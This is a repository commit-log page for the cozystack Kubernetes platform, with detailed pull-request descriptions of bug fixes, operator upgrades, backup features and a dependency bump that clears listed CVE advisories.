admin/cozystack
1
0 Fork 0
mirror of https://github.com/cozystack/cozystack.git synced 2026-11-05 03:27:07 +09:00
Code Issues Packages Projects Releases Wiki Activity
3,601 Commits 569 Branches 294 Tags
fix/vm-disk-node-labels
Commit Graph
1371 Commits
Author SHA1 Message Date
Arsolitt af0468cca4 feat(api): add dependencyMappings to ApplicationDefinition for HelmRelease dependsOn 
Introduce a new dependencyMappings field in ApplicationDefinition that
allows platform operators to declare how HelmRelease dependsOn entries
should be constructed from application spec values at runtime.

When a spec field matches a configured mapping, the operator resolves the
referenced application's HelmRelease name and injects it as a dependsOn
entry in the owning HelmRelease. This enables correct WaitForFirstConsumer
ordering without hard-coding release names.

The immediate use case is VMInstance: its disk references are mapped so
each VMDisk's HelmRelease is listed as a dependency, ensuring disks are
fully provisioned before the VM starts.

Signed-off-by: Arsolitt <arsolitt@gmail.com>
 2026-05-06 20:51:39 +03:00
Andrei Kvapil 0b70197bf1 fix(kafka): bump default resourcesPreset to medium (#2537) 
## What this PR does

Changes the default `resourcesPreset` for both `kafka` and `zookeeper`
in the Kafka managed application from `small` (1 CPU / 512Mi) to
`medium` (1 CPU / 1Gi).

The `small` preset is no longer sufficient for the current Strimzi 0.45
/ Kafka 3.9 image baseline:

- Strimzi sets JVM heap to 50% of the container memory limit for Kafka
and 75% for ZooKeeper. With a 512Mi limit that leaves only 256Mi (Kafka)
or 128Mi (ZooKeeper) for the JVM non-heap.
- Actual non-heap usage in the Kafka 3.9 image (Metaspace, code cache,
direct buffers, JMX javaagent, embedded Jetty admin server for
`/v1/ready` and KRaft migration endpoints, thread stacks) systematically
exceeds those budgets at startup, triggering a cgroup OOM kill (exit
137) before the broker can connect to ZooKeeper.

Result on a fresh deployment with the previous default: every Kafka
broker and every ZooKeeper pod ends up in `CrashLoopBackOff`, with
`lastState.terminated.reason: OOMKilled`. ZooKeeper occasionally hits
`OOMKilled` once quorum traffic ramps up, breaking the quorum and
causing Kafka brokers to fail with `ZooKeeperClientTimeoutException`.

The `medium` preset (1Gi) is the smallest preset that gives both Kafka
(heap 512Mi + ~500Mi non-heap budget) and ZooKeeper (heap 768Mi + 256Mi
non-heap budget) enough headroom to start cleanly. Users who need more
can still pick `large`, `xlarge`, or `2xlarge`, or override `resources`
explicitly.

The `small` preset is intentionally kept in the enum so existing
deployments that pin `resourcesPreset: small` are not broken; only the
default changes.

### Release note

```release-note
fix(kafka): default `resourcesPreset` for both Kafka and ZooKeeper is now `medium` (1 CPU / 1Gi). The previous default (`small`, 512Mi) is no longer sufficient under the current Strimzi 0.45 / Kafka 3.9 image and caused OOMKilled CrashLoopBackOff on fresh deployments. Existing deployments that explicitly set `resourcesPreset` are unaffected.
```

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

* **Chores**
* Updated default resource allocation preset from "small" to "medium"
for Kafka and ZooKeeper components across CRD type definitions, Helm
chart values, and JSON schema configurations.

* **Documentation**
* Updated parameter reference tables to reflect the new default resource
preset values for both Kafka and ZooKeeper.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
 2026-05-04 20:40:13 +02:00
Andrei Kvapil 0a3a5039d4 fix(kubevirt-operator): move PrometheusRule to Helm-rendered template (#2543) 
## What this PR does

Move `alerts/PrometheusRule.yaml` from raw-file loading (via
`.Files.Glob` in
`templates/alerts.yaml`) to a proper Helm-rendered template
`templates/prometheusrule.yaml`.

The raw-file approach silently passed unescaped `{{ $labels.xxx }}` to
Kubernetes unchanged, which worked by accident. As a Helm template,
those
expressions must be escaped with `{{ "{{" }}` to prevent Helm from
trying
to evaluate them as Go template variables.

Also removes `templates/alerts.yaml` which became dead code once the
`alerts/` directory is empty.

### Release note

\`\`\`release-note
fix(kubevirt-operator): move PrometheusRule alerts to Helm-rendered
template and escape Prometheus template variables
\`\`\`

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **Refactor**
* Reorganized alert configuration structure for VM and VMI monitoring.
Alerts that trigger when virtual machines or machine instances remain in
a non-running state for 10 minutes are now managed through an updated
template-based approach, consolidating alert definitions while
maintaining the same monitoring behavior.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
 2026-05-04 20:38:44 +02:00
Andrei Kvapil 87f2f64414 chore(kubevirt-operator): update to v1.8.2 (#2502) 
## What this PR does

Updates KubeVirt operator from v1.6.3 to v1.8.2.

This update brings:
- New CRD fields for changed block tracking (required for
storage-agnostic backups)
- Architecture support updates (s390x support, ppc64le deprecated)
- Updated operator manifest with latest capabilities

The standalone ServiceMonitor and alerts templates were removed as they
are now integrated into the main operator manifest.

### Screenshots

N/A - infrastructure component update

### Release note

\`\`\`release-note
chore(kubevirt-operator): update to v1.8.2

Updated KubeVirt operator from v1.6.3 to v1.8.2, adding support for
changed block tracking and latest architectural improvements.
\`\`\`

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

* **New Features**
* Added new configuration fields for changed block tracking, feature
gate management, hypervisors, and VM backups.

* **Chores**
  * Upgraded KubeVirt operator to v1.8.2.
  * Updated RBAC permissions and cluster access policies.
* Removed Prometheus monitoring integration and alert template
processing.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
 2026-05-04 20:38:12 +02:00
myasnikovdaniil 6ad5bf0bbf fix(objectstorage-controller): retry on Bucket conflict during BucketAccess reconcile (#2529) 
## What this PR does

Carries an upstream-bound patch against COSI v0.2.2's BucketAccess
sidecar reconciler so it survives the optimistic-concurrency race with
the central Bucket reconciler running in the same process.

In `sidecar/pkg/bucketaccess/bucketaccess_controller.go`, the `Add` path
does:

```go
bucket, _ := buckets().Get(...)
// ...
if controllerutil.AddFinalizer(bucket, BABucketFinalizer) {
    buckets().Update(ctx, bucket, ...)   // <-- 409 here
}
```

Between `Get` and `Update` the Bucket reconciler in the same binary can
mutate the object and bump `resourceVersion`, producing:

```
Operation cannot be fulfilled on buckets.objectstorage.k8s.io "bucket-...":
the object has been modified; please apply your changes to the latest
version and try again
```

surfaced to users as a `FailedGrantAccess` event on the BucketAccess.

This patch wraps the Bucket finalizer add in
`retry.RetryOnConflict(retry.DefaultRetry, ...)` and re-`Get`s the
Bucket inside the closure so each retry mutates the freshest version.

Patch is held as `91-bucketaccess-conflict-retry.diff` and consumed at
image build time (re-introduces `git` to the source stage and the `COPY
patches /patches` + `git apply /patches/*.diff` steps that existed
before `c29d501b` dropped them when 89/90 were upstreamed). The
convention is identical: drop the local patch the moment the upstream PR
merges and ships in a tagged release.

### Release note

~~~release-note
[objectstorage-controller] Carry a patch that retries on Bucket update
conflict during BucketAccess reconcile, eliminating the "object has been
modified" FailedGrantAccess event seen in CI.
~~~

## Test plan

- [x] `make image` for `system/objectstorage-controller` and verify
`values.yaml` picks up the new digest.
- [x] Re-run the cozystack-e2e suite that emitted the
`FailedGrantAccess: ... object has been modified` event on
`tenant-test/BucketAccess/bucket-test-admin` and confirm it no longer
fires.
- [ ] Verify `kubectl describe bucketaccess` reports
`AccessGranted=true` on first reconcile, no requeue from the conflict
path.

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

* **Bug Fixes**
* Enhanced bucket access update reliability with improved conflict
handling during concurrent operations. The system now automatically
retries operations and refetches data to prevent update conflicts.

* **Chores**
* Improved Docker build process with automatic patch application support
for source customization.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
 2026-05-04 18:50:38 +05:00
myasnikovdaniil 8fbbef3f02 fix(harbor): drive bucket-secret.yaml from values, gate HR on BucketInfo (#2528) 
## Summary
- `cozy-harbor/templates/bucket-secret.yaml` no longer relies on
`lookup` against the BucketAccess credentials Secret. It is now driven
by `.Values.bucket.bucketInfo` (a JSON string) with `dig`-based safe
accessors, so a missing/empty/partial value renders nothing rather than
crashing with `index of untyped nil` (the failure mode that broke harbor
in CI #25049445125).
- The downstream `<release>-system` HelmRelease now sources `BucketInfo`
via `valuesFrom` (`valuesKey: BucketInfo`, `targetPath:
bucket.bucketInfo`). With the default `optional: false`, helm-controller
refuses to compose values until the COSI BucketAccess controller has
populated the Secret — both gating initial reconciliation and forcing a
config-digest change (and thus a helm upgrade) when the credentials
arrive. Flux HR `dependsOn` cannot reference COSI resources directly, so
`valuesFrom` is the correct primitive here.
- `bucket.secretName` was the only consumer of the old `lookup` and is
removed from both the system chart's `values.yaml` default and the apps
chart's `values:` block.

## Why this shape
helm-controller's upgrade trigger is digest-based over composed values +
chart artifact; a `lookup` returning new data on a later reconcile is
not enough to force an upgrade on its own. Routing `BucketInfo` through
`valuesFrom` puts the bucket data on the digest path, so the chart
re-applies the moment credentials become available.

## Test plan
- [x] `helm template` of `packages/system/harbor` with
`bucket.bucketInfo` unset, empty string, empty JSON object `{}`, and
fully populated — only the populated case renders the `*-registry-s3`
Secret; the others render nothing without erroring.
- [x] `helm template` of `packages/apps/harbor` produces the expected
`<release>-system` HR with the new `valuesFrom` entry and the cleaned-up
`values:` block.
- [ ] Re-run the harbor E2E on a fresh stand and confirm 15/15.

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **Chores**
* Harbor bucket config now comes from a centralized Secret merged into
chart values; in-values bucket entry removed.
* **Bug Fixes**
* Deployment synchronization and Helm upgrade behavior improved by
depending on the Secret’s readiness/contents.
* **Tests**
* Added unit tests covering when the bucket secret is rendered (or not)
and a make target to run those tests.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
 2026-05-04 17:21:17 +05:00
IvanHunters 000157f9d7 fix(kubevirt-operator): use instant vector with for: 10m instead of max_over_time 
Replace max_over_time([10m]) == 1 with an instant vector selector
and a top-level for: 10m clause. The previous expression fired as
long as the metric was non-running at any point in the last 10 minutes;
the new expression fires only when the condition is sustained continuously
for the full 10-minute window, matching the alert name semantics.

Signed-off-by: IvanHunters <xorokhotnikov@gmail.com>
 2026-05-03 00:33:42 +03:00
Arsolitt 5786afe8bf feat(kubernetes): add kubelet resource reservations for worker nodes (#2420) 
**What this PR does**

Adds configurable kubelet resource reservations and eviction thresholds
for tenant cluster worker nodes. Without explicit reservations and
cgroup enforcement, the scheduler treats nearly all node memory and CPU
as allocatable. Under pressure, the OOM killer can target kubelet itself
because no cgroup boundaries protect it, leading to "Kubelet stopped
posting node status" failures and unrecoverable NotReady nodes.

This PR auto-computes per-node-group kubelet reservations from the
effective node capacity (instanceType or explicit `resources`):

- **Memory**: `systemReservedMemory` and `kubeReservedMemory` each
default to 5% of effective memory, clamped 256Mi-1Gi
- **CPU**: `systemReservedCpu` and `kubeReservedCpu` each default to 5%
of effective CPU, clamped 50m-500m
- **Eviction**: configurable `evictionHardMemory` (default 7%) and
`evictionSoftMemory` (default 10%) with validation that hard < soft
- **Disk eviction**: `nodefs.available`, `imagefs.available`, and
`nodefs.inodesFree` thresholds are preserved alongside memory signals
- **Capacity annotations**: cluster-autoscaler annotations now report
allocatable memory and CPU (total minus all reservations and eviction
threshold) instead of raw totals
- **Cgroup enforcement**: `enforce-node-allocatable=pods` configures
advisory-only reservations — the scheduler accounts for reserved
resources when computing allocatable capacity, but no cgroup boundaries
are enforced for system or kube reserved resources
- **Validation**: format checks, zero-value rejection, eviction ordering
(hard < soft), same-unit-type requirement for eviction thresholds, and
total reservation sanity check against effective node capacity

All reservation fields are optional and overridable per node group via
`.nodeGroups[].kubelet`.

**Default rendered kubeletExtraArgs:**

```yaml
kubeletExtraArgs:
  system-reserved: "memory=256Mi,cpu=50m"
  kube-reserved: "memory=256Mi,cpu=50m"
  eviction-hard: "memory.available<7%,nodefs.available<10%,imagefs.available<15%,nodefs.inodesFree<5%"
  eviction-soft: "memory.available<10%,nodefs.available<15%,imagefs.available<20%"
  eviction-soft-grace-period: "memory.available=1m30s,nodefs.available=1m30s,imagefs.available=1m30s"
  eviction-minimum-reclaim: "memory.available=256Mi"
  enforce-node-allocatable: "pods"
```

**New values schema:**

```yaml
nodeGroups:
  md0:
    kubelet:
      systemReservedMemory: ""   # auto-computed (5% of effective memory, 256Mi-1Gi)
      kubeReservedMemory: ""     # auto-computed (5% of effective memory, 256Mi-1Gi)
      systemReservedCpu: ""      # auto-computed (5% of effective CPU, 50m-500m)
      kubeReservedCpu: ""        # auto-computed (5% of effective CPU, 50m-500m)
      evictionHardMemory: "7%"   # absolute (e.g. 200Mi) or percentage
      evictionSoftMemory: "10%"  # must be > evictionHardMemory, same unit type
```

**Release note:**

```
feat(kubernetes): add per-node-group kubelet resource reservations with auto-computed system/kube reserved memory (5% of effective memory, clamped 256Mi-1Gi) and CPU (5% of effective CPU, clamped 50m-500m), configurable memory eviction thresholds, preserved disk eviction signals (nodefs, imagefs, inodesFree), pods-only cgroup enforcement, and reservation-aware allocatable capacity annotations for cluster-autoscaler.
```
 2026-05-01 14:45:30 +03:00
Andrei Kvapil b5a1ae57de feat(etcd): update operator to v0.4.3 and expose S3 backup schedules (#2428) 
## What this PR does

Bumps the vendored `etcd-operator` chart from `v0.4.2` to `v0.4.3` and
wires the new backup machinery through the cozystack `Etcd` app API.

Upstream v0.4.3 ships two new CRDs — `EtcdBackup` (one-shot snapshot)
and `EtcdBackupSchedule` (periodic snapshots) — along with the
`EtcdCluster.spec.bootstrap` restore field, a new `OPERATOR_IMAGE` env
on the operator deployment, and a replacement of the deprecated
`gcr.io/kubebuilder/kube-rbac-proxy` image. The chart portion of this PR
is a clean re-vendor via `make update` — no local patches.

On top of the bump, `packages/extra/etcd` exposes a new optional
`backup.*` values block. When `backup.enabled=true`, the chart renders
an `EtcdBackupSchedule` referencing the platform `EtcdCluster/etcd` and
a `Secret/etcd-s3-creds` with the S3 credentials expected by the
backup-agent. The values field names (`destinationPath`, `endpointURL`,
`s3AccessKey`, `s3SecretKey`, `schedule`) mirror the existing `postgres`
backup pattern for consistency. The chart `fail`s at template render if
any of the four required S3 fields are empty or if `destinationPath` is
malformed (missing `s3://` prefix, `//` segments, no bucket).

Test coverage: 15 `helm-unittest` cases across
`tests/backup-secret_test.yaml` and
`tests/etcd-backup-schedule_test.yaml` (wired into `make test`, picked
up by `hack/helm-unit-tests.sh`), plus three bats cases in
`hack/e2e-apps/etcd.bats` covering the baseline `Etcd` app, the `backup:
{}` default-off path, and the full `backup.enabled=true` case that
verifies the `EtcdBackupSchedule` materializes and the operator
generates the downstream `CronJob`.

`packages/core/platform/sources/etcd-operator.yaml` now sets
`upgradeCRDs: CreateReplace` on the etcd-operator component, so Flux
applies the new CRDs on upgrade of the chart instead of silently
skipping them.

Depends on #2427.

### Scope deferred to follow-ups

- The one-shot `EtcdBackup` CRD is vendored but not exposed through this
chart — users can still hand-apply the CRD directly.
- `EtcdCluster.spec.bootstrap` (restore from an existing snapshot) is
likewise vendored but not exposed. Both gaps are called out in
`packages/extra/etcd/README.md`.

### Release note

```release-note
feat(etcd): update etcd-operator to v0.4.3 and expose S3 backup schedules on the Etcd app. Set `backup.enabled=true` along with `backup.s3AccessKey`, `backup.s3SecretKey`, `backup.destinationPath`, and `backup.endpointURL` to schedule periodic snapshots.
```


<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **New Features**
* Scheduled S3 backups for etcd clusters (configurable cron, generated
S3 credentials) and restore/init from S3 or PVC via new backup
resources.

* **Tests**
* New end-to-end tests for etcd lifecycle and backup scenarios; added
Helm unit tests for backup templates and validations.

* **Documentation**
  * Backup configuration guide and parameter reference added.

* **Chores**
* Operator chart version bump; RBAC, webhooks, and deployment wiring
updated; added chart test target.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
 2026-05-01 13:16:08 +02:00
Andrei Kvapil 70e507ee5c fix(security): bump Go dependencies to clear Dependabot CVE alerts (#2494) 
## What this PR does

Closes the 25 open Dependabot Go-ecosystem alerts on this repository (2
critical, 11 high, 12 moderate) by bumping the affected dependencies in
five Go modules to their latest stable versions. Splits the work into
six signed commits, one per logical block, so the diff in each commit
can be reviewed in isolation.

### Full advisory coverage

| # | Module | Severity | Package | Advisory | Title | Vulnerable |
Shipped |
|---|---|---|---|---|---|---|---|
| 29 | `go.mod` | critical | `google.golang.org/grpc` |
[GHSA-p77j-4mvh-x3m3](https://github.com/advisories/GHSA-p77j-4mvh-x3m3)
| gRPC-Go authorization bypass via missing leading slash in `:path` | `<
1.79.3` | `1.80.0` |
| 28 | `kubevirt-csi-driver/go.mod` | critical |
`google.golang.org/grpc` |
[GHSA-p77j-4mvh-x3m3](https://github.com/advisories/GHSA-p77j-4mvh-x3m3)
| gRPC-Go authorization bypass via missing leading slash in `:path` | `<
1.79.3` | `1.80.0` |
| 32 | `go.mod` | high | `go.opentelemetry.io/otel` |
[GHSA-mh2q-q3fh-2475](https://github.com/advisories/GHSA-mh2q-q3fh-2475)
| Multi-value `baggage` header extraction causes excessive allocations
(remote DoS amplification) | `>= 1.36.0, <= 1.40.0` | `1.43.0` |
| 31 | `go.mod` | high | `github.com/moby/spdystream` |
[GHSA-pc3f-x583-g7j2](https://github.com/advisories/GHSA-pc3f-x583-g7j2)
| SpdyStream: DoS on CRI | `<= 0.5.0` | `0.5.1` |
| 30 | `go.mod` | high | `go.opentelemetry.io/otel/sdk` |
[GHSA-hfvc-g4fc-pqhx](https://github.com/advisories/GHSA-hfvc-g4fc-pqhx)
| BSD `kenv` command not using absolute path enables PATH hijacking |
`>= 1.15.0, <= 1.42.0` | `1.43.0` |
| 27 | `go.mod` | high | `go.opentelemetry.io/otel/sdk` |
[GHSA-9h8m-3fm2-qjrq](https://github.com/advisories/GHSA-9h8m-3fm2-qjrq)
| OpenTelemetry Go SDK vulnerable to arbitrary code execution via PATH
hijacking | `>= 1.21.0, < 1.40.0` | `1.43.0` |
| 26 | `kubevirt-csi-driver/go.mod` | high |
`github.com/opencontainers/runc` |
[GHSA-cgrx-mc8f-2prm](https://github.com/advisories/GHSA-cgrx-mc8f-2prm)
| runc container escape and DoS due to arbitrary write gadgets and
procfs write redirects | `<= 1.2.7` | `1.4.2` |
| 25 | `kubevirt-csi-driver/go.mod` | high |
`github.com/opencontainers/runc` |
[GHSA-qw9x-cqr3-wc7r](https://github.com/advisories/GHSA-qw9x-cqr3-wc7r)
| runc container escape with malicious config due to `/dev/console`
mount and related races | `>= 1.0.0-rc3, <= 1.2.7` | `1.4.2` |
| 24 | `kubevirt-csi-driver/go.mod` | high |
`github.com/opencontainers/runc` |
[GHSA-9493-h29p-rfm2](https://github.com/advisories/GHSA-9493-h29p-rfm2)
| runc container escape via "masked path" abuse due to mount race
conditions | `<= 1.2.7` | `1.4.2` |
| 23 | `kubevirt-csi-driver/go.mod` | high | `golang.org/x/oauth2` |
[GHSA-6v2p-p543-phr9](https://github.com/advisories/GHSA-6v2p-p543-phr9)
| Improper Validation of Syntactic Correctness of Input | `< 0.27.0` |
`0.36.0` |
| 16 | `kubeovn-webhook/go.mod` | high | `golang.org/x/oauth2` |
[GHSA-6v2p-p543-phr9](https://github.com/advisories/GHSA-6v2p-p543-phr9)
| Improper Validation of Syntactic Correctness of Input | `< 0.27.0` |
`0.36.0` |
| 4 | `kubeovn-webhook/go.mod` | high | `golang.org/x/net` |
[GHSA-4374-p667-p6c8](https://github.com/advisories/GHSA-4374-p667-p6c8)
| HTTP/2 rapid reset can cause excessive work in `net/http` | `< 0.17.0`
| `0.53.0` |
| 3 | `kubeovn-webhook/go.mod` | high | `golang.org/x/net` |
[GHSA-vvpx-j8f3-3w6h](https://github.com/advisories/GHSA-vvpx-j8f3-3w6h)
| `golang.org/x/net` vulnerable to Uncontrolled Resource Consumption |
`< 0.7.0` | `0.53.0` |
| 22 | `kubevirt-csi-driver/go.mod` | medium | `golang.org/x/net` |
[GHSA-vvgc-356p-c3xw](https://github.com/advisories/GHSA-vvgc-356p-c3xw)
| `golang.org/x/net` vulnerable to Cross-site Scripting | `< 0.38.0` |
`0.53.0` |
| 21 | `kubevirt-csi-driver/go.mod` | medium | `golang.org/x/net` |
[GHSA-qxp5-gwg8-xv66](https://github.com/advisories/GHSA-qxp5-gwg8-xv66)
| HTTP Proxy bypass using IPv6 Zone IDs | `< 0.36.0` | `0.53.0` |
| 20 | `kubevirt-csi-driver/go.mod` | medium |
`github.com/opencontainers/runc` |
[GHSA-jfvp-7x6p-h2pv](https://github.com/advisories/GHSA-jfvp-7x6p-h2pv)
| runc can be confused to create empty files/directories on the host |
`< 1.1.14` | `1.4.2` |
| 19 | `go.mod` | medium | `golang.org/x/crypto` |
[GHSA-f6x5-jh6r-wrfv](https://github.com/advisories/GHSA-f6x5-jh6r-wrfv)
| `golang.org/x/crypto/ssh/agent` vulnerable to panic if message is
malformed (OOB read) | `< 0.45.0` | `0.50.0` |
| 18 | `go.mod` | medium | `golang.org/x/crypto` |
[GHSA-j5w8-q4qc-rx2x](https://github.com/advisories/GHSA-j5w8-q4qc-rx2x)
| `golang.org/x/crypto/ssh` allows an attacker to cause unbounded memory
consumption | `< 0.45.0` | `0.50.0` |
| 14 | `kubeovn-webhook/go.mod` | medium | `golang.org/x/net` |
[GHSA-vvgc-356p-c3xw](https://github.com/advisories/GHSA-vvgc-356p-c3xw)
| `golang.org/x/net` vulnerable to Cross-site Scripting | `< 0.38.0` |
`0.53.0` |
| 11 | `kubeovn-webhook/go.mod` | medium | `golang.org/x/net` |
[GHSA-qxp5-gwg8-xv66](https://github.com/advisories/GHSA-qxp5-gwg8-xv66)
| HTTP Proxy bypass using IPv6 Zone IDs | `< 0.36.0` | `0.53.0` |
| 9 | `kubeovn-webhook/go.mod` | medium | `golang.org/x/net` |
[GHSA-xrjj-mj9h-534m](https://github.com/advisories/GHSA-xrjj-mj9h-534m)
| `golang.org/x/net/http2` vulnerable to possible excessive memory
growth | `< 0.4.0` | `0.53.0` |
| 8 | `kubeovn-webhook/go.mod` | medium | `golang.org/x/net` |
[GHSA-4v7x-pqxf-cx7m](https://github.com/advisories/GHSA-4v7x-pqxf-cx7m)
| `net/http`, `x/net/http2`: close connections when receiving too many
headers | `< 0.23.0` | `0.53.0` |
| 7 | `kubeovn-webhook/go.mod` | medium | `google.golang.org/protobuf` |
[GHSA-8r3f-844c-mc37](https://github.com/advisories/GHSA-8r3f-844c-mc37)
| `protojson.Unmarshal` infinite loop on certain forms of invalid JSON |
`< 1.33.0` | `1.36.11` |
| 6 | `kubeovn-webhook/go.mod` | medium | `golang.org/x/net` |
[GHSA-qppj-fm5r-hxr3](https://github.com/advisories/GHSA-qppj-fm5r-hxr3)
| HTTP/2 Stream Cancellation Attack | `< 0.17.0` | `0.53.0` |
| 5 | `kubeovn-webhook/go.mod` | medium | `golang.org/x/net` |
[GHSA-2wrh-6pvc-2jm9](https://github.com/advisories/GHSA-2wrh-6pvc-2jm9)
| Improper rendering of text nodes in `golang.org/x/net/html` | `<
0.13.0` | `0.53.0` |

Sorted by severity (critical → high → medium), then by alert number. The
`Module` column lists the manifest path inside the repo (`go.mod` is the
root); `Vulnerable` is what GitHub flagged in the original advisory;
`Shipped` is the version this PR pins to.

### Modules bumped

1. Root `go.mod` (`github.com/cozystack/cozystack`) — purely transitive
bumps for `grpc`, `otel`, `otel/sdk`, `x/crypto`, `spdystream`.
2. `api/apps/v1alpha1/go.mod` — bumps `k8s.io/apimachinery` and
`golang.org/x/net`/`x/text` for consistency with the root module's `go
1.26.2` directive.
3. `packages/apps/kubernetes/images/kubevirt-csi-driver/go.mod` — bumps
the upstream `kubevirt.io/csi-driver` pin to its latest commit, raises
the `k8s.io/*` replace block from `v0.31.4` to `v0.36.0`, bumps `runc`
to `v1.4.2`, and adapts `main.go` to the upstream's new builder-style
API for `service.NewKubevirtCSIDriver` (the constructor was split into
`WithIdentityService` / `WithControllerService` / `WithNodeService`).
4. `packages/system/kubeovn-webhook/images/kubeovn-webhook/go.mod` —
direct bumps to `golang.org/x/net`, `golang.org/x/oauth2`,
`google.golang.org/protobuf`.
5. `packages/system/dashboard/images/token-proxy/go.mod` — bumps `jwx`,
`httprc`, `x/crypto`, `x/sys` for consistency with the root module's
directive.

All five modules now declare `go 1.26.2`. The three vendored-image
Dockerfiles (`kubevirt-csi-driver`, `kubeovn-webhook`, `token-proxy`)
move to `golang:1.26{,-alpine}`.

### First-party Dockerfile bumps

The root `go.mod` directive jump to `1.26.2` means every Dockerfile that
copies the root `go.mod` and builds a cozystack-owned binary needs a
matching base image, otherwise the in-container toolchain has to pull
`go 1.26` on the fly via `GOTOOLCHAIN=auto` at every build. Eight images
are bumped from `golang:1.25-alpine` to `golang:1.26-alpine`:
`cozystack-operator`, `cozystack-api`, `cozystack-controller`,
`backup-controller`, `backupstrategy-controller`, `flux-plunger`,
`kubeovn-plunger`, `lineage-controller-webhook`.

Vendored Dockerfiles (`kubevirt-cloud-provider`, `redis-operator`,
`keycloak-operator`, `linstor-csi`, `multus-cni`, `objectstorage`,
`s3manager`, `kamaji`) are intentionally untouched: each one fetches its
source from upstream at build time and pins its `golang:` base image to
whatever the upstream commit was tested against.

### Why bump past the advisory minimums

Bumping each affected dependency to its latest stable rather than the
lowest patched version means we pick up subsequent (non-CVE) bug fixes
for free and reduce the number of follow-up Dependabot bumps the next
reviewer has to triage. Where this required a cascading bump (e.g.
`runc` v1.4.2 only compiles together with `mount-utils` v0.32+, which
dropped the deprecated `libcontainer/userns` import path), the cascade
was followed through.

### Build verification

`go build ./...` and `go vet ./...` are clean across all five modules
locally. Two `go vet` warnings in the root module
(`pkg/lineage/lineage_test.go:76` unkeyed struct fields,
`cmd/cozypkg/cmd/add.go:521` non-constant format string) and three
`randfill.Continue` test panics in `pkg/apis/{apps,core}/install` and
`pkg/apiserver` also reproduce on `main` and are out of scope for this
PR.

### Out of scope

The `k8s.io/*` libraries in `kubeovn-webhook/go.mod` are still pinned at
`v0.26.0`; they are not flagged by Dependabot and bumping them would be
a separate, much larger maintenance change.

### Release note

```release-note
fix(security): bump Go dependencies in root, api/apps/v1alpha1, kubevirt-csi-driver, kubeovn-webhook, and token-proxy modules to clear all open Dependabot CVE alerts
```


<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **Chores**
  * Upgraded Go toolchain across components and build stages to 1.26.x.
* Updated numerous dependencies for compatibility, stability and
security (Kubernetes APIs, gRPC, OpenTelemetry, golang.org/x/*, and
related libs).
* Several containers now run as a non-root user (UID/GID 65532) to
improve runtime security.

* **Refactor**
* CSI driver initialization refactored to a builder-style pattern
enabling conditional service wiring.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
 2026-05-01 13:16:03 +02:00
Andrei Kvapil 6c2dba9b21 fix(linstor): retry drbdadm secondary after mkfs on transient EBUSY (#2538) 
## What this PR does

Adds a fifth piraeus-server patch that retries `drbdadm secondary` after
`mkfs` when DRBD reports the device as held open by an external process.

### Problem

On Talos (and any system with active block-device probing — udev,
multipathd, etc.) the kernel uevent for a freshly-promoted DRBD device
causes an external probe to `open()` the device for superblock
inspection. If LINSTOR satellite issues `drbdadm secondary` while the
probe still holds the fd, DRBD returns `(-12) Device is held open by
someone` and aborts initialization with `StorageException: Failed to
become secondary again after creating filesystem`.

The satellite never reports the final `UpToDate` event to the
controller, so the controller view stays in `SyncTarget(N%) /
Inconsistent / DELETING` permanently — even though the DRBD kernel state
on the satellite is `Established/UpToDate`. This blocks cleanup of
orphan PVs in `Released` phase and accumulates with every PVC creation.

Observed in production on Talos 1.10 / LINSTOR 1.33.2: 4 occurrences in
24 hours across 3 nodes for different PVCs. Manual recovery requires
`drbdadm down/up` on the Primary to force the satellite to re-report
state.

### Fix

New `secondaryAfterMkfs()` wrapper in `DrbdAdm.java`:

- 7 attempts of `drbdadm secondary` with exponential backoff (250 ms → 2
s, capped)
- Retry only triggers when stderr contains `Device is held open by
someone`; any other failure fails fast as before
- Existing `secondary()` contract is unchanged — only
`DrbdPrimary.close()` (the post-mkfs demotion path) is rerouted to the
new wrapper

The retry window covers ~10 s in the worst case, which comfortably
exceeds typical probe durations (probes release the fd within
milliseconds).

### Related upstream

-
[LINBIT/linstor-server#268](https://github.com/LINBIT/linstor-server/issues/268)
— open since 2022, identical symptom, no upstream fix
- [LINBIT/drbd#74](https://github.com/LINBIT/drbd/issues/74) — same
EBUSY pattern with multipathd holding the fd

### Validation

- `git apply *.diff` on a fresh `v1.33.2` checkout applies all five
patches cleanly in alphabetical order
- Java brace/paren/bracket balance verified on the patched file
- `helm template packages/system/linstor` renders without errors

### Release note

```release-note
fix(linstor): retry `drbdadm secondary` after mkfs on transient `Device is held open by someone` errors. Prevents orphan PVs in `Released` phase from accumulating when an external block-device probe (Talos block-controller, udev, multipathd) wins a race against the post-mkfs demotion. Fail-fast behavior preserved for any other secondary failure.
```


<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

* **New Features**
* Implemented automatic retry logic for device secondary state
transitions after filesystem creation. System now gracefully handles
scenarios where devices are temporarily held open by other processes.

* **Documentation**
  * Added documentation for the new device state transition patch.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
 2026-04-30 15:17:55 +02:00
Andrei Kvapil a4bd2741d6 fix(linstor): plunger demotes idle-Primary DRBD resources (#2539) 
## What this PR does

Adds a per-satellite plunger handler that detects DRBD resources
stuck in `Primary` on the local node with no consumer and demotes
them to `Secondary`.

### Background

DRBD auto-promotes a resource to `Primary` during the provisioning
path (`mkfs.ext4` against a freshly created replica, for example),
but auto-demote sometimes fails to fire on close. The resource then
stays `Primary` on a node that has no consumer pod, and CSI on the
legitimate target node fails `NodePublishVolume` with:

```
failed to set source device readwrite: exit status 1
```

The only recovery is an explicit `drbdadm secondary` on the stuck
node — there is no upstream automation for it.

This was hit deterministically in Cozystack e2e CI on freshly
provisioned PVCs without any pod migration or node failure. Upstream
tracker: piraeusdatastore/piraeus-operator#942 (and the related
